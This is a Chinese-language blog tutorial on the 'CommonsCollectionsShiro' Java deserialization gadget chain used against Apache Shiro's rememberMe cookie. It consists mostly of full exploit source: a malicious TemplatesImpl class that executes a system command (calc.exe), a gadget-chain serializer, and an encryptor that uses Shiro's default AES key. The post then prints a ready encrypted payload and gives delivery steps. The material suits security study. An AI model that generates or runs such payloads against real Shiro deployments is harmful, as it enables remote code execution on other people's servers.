Java反序列化(七) | CommonsCollectionsShiro

2023-05-17 10:19:57 浏览数 (1)

CommonsCollectionsShiro

CommonsCollectionsShiro单纯是CC链为了满足一些Shiro的反序列化条件而拼接改造的CC链, 所以具体详细过程就不展开分析了, 直接给Gadget和不同CC链的分区, 结合payload生成源码分析即可

CC1 CC6 CC3

Why is CC1 CC6 CC3

实际上在Shiro中的CC脸就是一个CC1 CC6 CC3的杂合链, 为什么是杂合链呢, 主要原因是

  • 不能反序列化数组对象, 所以我们就不能通过数组加载到TanformerChain链式调用所以使用CC3
  • 绕过版本限制所以使用CC6
  • 至于起点的话实际上我们有多个选择,可以使用CC1的HashMap也可以使用CC6中的HashSet,在这里选了HashMap

杂合链Gadget:

代码语言:javascript复制
----------------------------------CC1-----------------------------------
   java.util.HashMap#readObject
   java.util.HashMap#hash
   java.util.HashMap#key.hashCode
----------------------------------CC6-----------------------------------
   org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
   org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
   org.apache.commons.collections.keyvalue.TiedMapEntry#map.get
   org.apache.commons.collections.map.LazyMap#get
   org.apache.commons.collections.map.LazyMap#factory.transform
   org.apache.commons.collections.functors.InvokerTransformer#transform
----------------------------------CC3-----------------------------------
   java.lang.reflect.Method.invoke
   com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer

将获取序列化数据分为三个部分:

  1. Evil.java用于构造通过CC3反序列化执行命令的恶意类
  2. CommonsCollectionsShiro.java 获取恶意类数据流后写入杂合链中并最后返回序列化数据
  3. Get_poc.java 调度前两个文件得到序列化数据后进行AES BASE64加密后输出

/POC-macker/CCShiro/Evil.java

构造恶意类Evil然后使使CC6动态加载字节码执行静态代码和构造函数

代码语言:javascript复制
package POC_macker.CCShiro;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

/POC_macker/CCShiro/CommonsCollectionsShiro.java

获取恶意类的数据流并生成CC6 CC1 CC6的杂合链,序列化后将数据留返回:

代码语言:javascript复制
package POC_macker.CCShiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro extends Get_poc {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        System.out.println("    杂合链Gadget:n"  
                "       java.util.HashMap#readObjectn"  
                "       java.util.HashMap#hashn"  
                "       java.util.HashMap#key.hashCoden"  
                "       org.apache.commons.collections.keyvalue.TiedMapEntry#hashCoden"  
                "       org.apache.commons.collections.keyvalue.TiedMapEntry#getValuen"  
                "       org.apache.commons.collections.keyvalue.TiedMapEntry#map.getn"  
                "       org.apache.commons.collections.map.LazyMap#getn"  
                "       org.apache.commons.collections.map.LazyMap#factory.transformn"  
                "       org.apache.commons.collections.functors.InvokerTransformer#transformn"  
                "       java.lang.reflect.Method.invoken"  
                "       com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer");

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        System.out.println("1.TemplatesImpl对象已创建");

        Transformer invokertransformer = new InvokerTransformer("getClass", null, null);
        System.out.println("2.InvokerTransformer对象已创建");

        Map under_HashMap = new HashMap();
        Map decorate_LazyMap = LazyMap.decorate(under_HashMap, invokertransformer);
        System.out.println("3.LazyMap对象已创建");

        TiedMapEntry tiedMap = new TiedMapEntry(decorate_LazyMap, obj);
        System.out.println("4.TiedMapEntry对象已创建");

        Map expMap = new HashMap();
        expMap.put(tiedMap, "valuevalue");
        System.out.println("5.HashMap对象已创建");

        decorate_LazyMap.clear();
        setFieldValue(invokertransformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println("6.HashMap对象序列化数据流返回");
        return barr.toByteArray();
    }
}

/POC_macker/CCShiro/Get_poc.java

调度获取Evil的字节码并放入杂合链中获得反序列化数据后进行加密,输出加密结果

代码语言:javascript复制
package POC_macker.CCShiro;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Get_poc {

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());

        System.out.println("Evil恶意类数据流已获取,开始构造CC6 CC1 CC3的杂合链:");
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        System.out.println(payloads.length);
        System.out.println("CC6 CC1 CC3的杂合链构造完成,开始加密数据。。。。。");

        String poc = encrypt(payloads,"kPH bIxk5D2deZiIxcaaaA==");
        System.out.println(poc);
    }

    public static String encrypt(byte[] plaintext, String _key){
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode(_key);
        ByteSource ciphertext = aes.encrypt(plaintext, key);
        return ciphertext.toString();
    }
}

执行/POC_macker/Get_poc.java中的main得到加密数据放到包中即可

代码语言:javascript复制
2droeErfg/oKkTMtAS1TyHaRkyFoCz02zXparPq//VxnWOI19Nyi3aBUk7ajEkf5Iot9IjG06ltIAJepfHhXfBJe37YOWO9iPbqQjAFTSer4RSUx7hGDZQ16NUF4N9fzqdqEedHe5UC/iHCmcqAytXxHcES6haMpmRDsZ3ssFdqygjxP1UxHouIlSQt6Ju4KfR277rJf3ofWb6W16HqyHlZN5iR6mWlAuk1oQWdX6Wf3QT8NNRBBHjUMjvxeeYMplgh3aSh6C HloOJR9Hwcf9gRYWgDAwEe36i30QMBFpWQP /BYiDKPx7WOGHsGI zDKhkqNuE/wY4o 7rjIlE3s SFPEqUKFGY5/iFkG3mIk/ICTS0Ra4FHa5EO//Eb3Q74f3T bYZ9cRk0l56wlkfkOmftTMv5qBgkS6BzOHBZItuNYUX5 VcJBTwWBihY0G4Nwfq77zPjExP2hYOQL3Rck9gXYs3xSTJAadRIVDq9uGClMoG5TR09bDpjUZeretaPrykbcCRBiMf3fVgR8b16jwkCyaq7JwKAetw9p8AjF4Rt13ujZMwitkCyuw98ysLL56B54VwiF4qy2hJN6fxiip6d0WBkKLk49CZwH2hF1wmXpeXeLElVQyxtEnpBG1wxBOtDIHCVcVGwASlYA9GwfbnIC5tdILf6AoZBhne7Nl4tdD R8OHSa3LaHQtSNC7O5lBEkGiaJrFiOnpDY53vhQ2fmUjBDKkI6u98V0pbSbgVcC7VXkrCp1wGPFXj6tQeBJv4h1OOAa Tgpoig0ftu6aLRjB9sTJf2EN14qTszVkzS ZCIGJsRogMMOpvmijteGabOp4w2S3d4zcNbA4/Dl87x4TsqJ4W VWSA6nPA OjqRHcRqsHOQ9N0doV93F1dlyjO13oVa71NgnodDIAsmrNZkIsW6AvOg73z69CTKiRBCOEXG 4ePaadAn4fl2GDin2tBvvA809mvqga2D9PrURKZBhchQ7VQn5xiHWRnVH5wmFPz420HUlG0tNttZ/vdNgAR2VOpXUyK527S1SAx1B9/fpqJSnCmR7j5oTst LHqhPNIUPOfCKmz4M/K4a9RNA/EroHrb D/LEqZxUenAFnfMX2kCHUt4QT 7SWgG6cQWcq1/d18tsE3YpHc3BNqFPuvoVyM//PwNMTyUqQrHGuT3UXSgpK7D/L7IZVQ013VWJX5PHuHCwuA6PsYOYWjU39shoFftR5 51CVzJ8S0Usgf6MvLpL69b9Aqd2VBoHlVpKUC3GWEHy9u K0vCznYsPtMhm9uVdsh5PsGxiV/7Suc6ZlFTQlxOOgc5vsTKLBfFHnr1yCbc42xomoixTf2P9LqYNS0GQ3Z4ggGXNrslXXBUjc8wl/b17Z9RVbyMg3daPj9vI ro/HXJ8FL71rfNOVK86u7OVNDIAJnHNRotUOwhpvbBSM85vVnZEJfKRRGdpTdZMfbweOAJINh9rOvWfFRMc9kXA/gwWM0zcQp r Syxdro1TXS6HJ 5w8roPP2YG3dv47VlAa67OqBlWGN7iSrbuCwsUKRIlVx0VqF8MX0XxrG8ggFzYYTtLOMh9Skgy 1YWSQDM5QDj j2Y52ZvvFUiLEreyyCe4sgRvpdvnEwc6lDb7m4AnR/h0EPf0SEvqWUwqNyFLio2L4ObuwIu/KH5gbbeCw /Ck0D0k87gzzWn5tKtNbaoPk99FDsSzmrSH2oEFnl7kbwCiUHdIGtIMRlDU1quW5600GumUgniErp9FYhEr4Ne/hC7whPEOdntL8n6CD7eGgOYQOyO/cjPY98IxzYFefqt4r0YKwyGUoJ0xIdjWHwBfJH1I/OxO28nn811ALfKRmjjJQi9r K/qb9B04nIWpNvN7Rfd8cpcS3njfzQwn4M47U1hMYp5woRRb0mCvgLYSQK4fV4KEiqTJ2quMDBhfN2NJqK Zr8kc1uUqmW/XbkXopHCoK0esq4TjqW10g6zVLt75RFlXu0M4nROUtCE01GPiHmMufwngQ4HB5tIgL4Xcu9YH45maK7f2iCwyhMmQvqkjvyUHUqB6O1Nhn/TEf1bELFRVecbwcYjE6dt6mkpaGJiecawPfgKU2y17vRtjhQCXD62Av5zyEj0TaVY4eMyTj9ebCtEG66GwNvxb/ylqFSRR3B9WMtmABRWUiFdr8rjjwT7LogY lPdLH90PpxAlSU NmCiZj6Ufo8JtFAWcFduzBFo1asEJd1cbVEaH33atAC21Jpxj/kBw2RCwG6SM2dMwAUEpuCeEqLKWgH2z4ajIoDNpXr0Y1hSl/42fuW wc9DjjO4RshA6X1hwHcto/4hPICng7xjNAWjqKEQAI1cvKXatszkDO17/rRCbriVnxkUkGQNnowD /oJtdfv6P/mz1FtPP0cnTsX3mSjcXh6ZgIYgQiOheMbwPSztz8XWXYC30ssvEC7Ytw8yy3UyLIYmc3/87yBv3doyYFVf rlakvUgRDr2qtqk1kMmfWej6uTBZqgocvfeb2dYGb1s813UZ0ogyr2AAc4VKFApukPn3IGkvt2Zg1xNZJ9sE5dVmmRXl5xsgl38d2PHz/EawdWiiKqJxEiqZH9SsZYdRQjxz llaWt3LD mM0LrqIRKEHAdaOIYZ3e1Kr9cgl0/iDArH7z26gdD zsGIptpcDMhd2OpL595fK mXglYr3i5NXtS oQlLeJ0keAGiCrs6949tqYRGBQoKeLf1wDP9lEmZpZco0hQVrWBjPerb6m9JDd59PFHNKKk3uQeWWSZSbGFgZFL X1RAj3uDCu0uc7to T2/XXN 7Hu8K5K874RYD09rPXDT5Qjq7nYt2Kqlqb10vWOI1n3XpAM45ebISvPLhPI3k hVxyN/XW5AA6YYKbe/iQe5iCz0JzqLtpWtSBzynbJkn3XQUjtQelJ6IDwqaCGqcUJnve2i/4AzVOG37Sgb2FZqjbFsO10SHH89Yw18fDlCvOfu/XFjxYxXdSz4KGwpc/ZujaGuKNSsjSGWjq8PBdsDDyo2iPoQwyeoEH RXyPLoccyDJ17SNezoMQSfCUDLtUTU/ 2nJJ3fV0TXofRmxRfLkTccJcQzaoFNQWoxlc5U9uTjY6GXpCcbnq28SdEvm3D4rc DHdTnIKYJ7p/olmVXX2 EAHv4iovcoALVKHNa5eGyWDdqgE=

注意我们要手动删除原本自带的session, 否则在有session的情况下Shiro是不会去反序列化remenberMe的

使用Payload:

心情记录: ……………….麻…………………..

因为一些挺离谱的问题导致浪费了很多时间, 差不多一半的时间都用来调试环境了, 在这里说一下主要问题吧:

Shiro的环境导入配置问题(修改javax.servlet版本为1.2)

在pom文件手动导入CC依赖

payload生成问题(这个花时间最多, 修改代码的时候不小心把CC链中的TiedMapEntry里面的LazyMap写成了HashMap, 导致全部过程根本没有用到LazyMap,所以反序列化自然就失败了, 但是当时完全没发现, 反复去查找环境也没发现问题,纯粹个人问题了只能说…..)

如果显示程序包加载失败建议到项目结构切换SDK为其它版本的JDK

找不到javassist的话在pom添加一下依赖即可:

代码语言:javascript复制
   org.javassist
   javassist
   3.27.0-GA

我们最多需要手动添加两个依赖项:

代码语言:javascript复制
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>

0 人点赞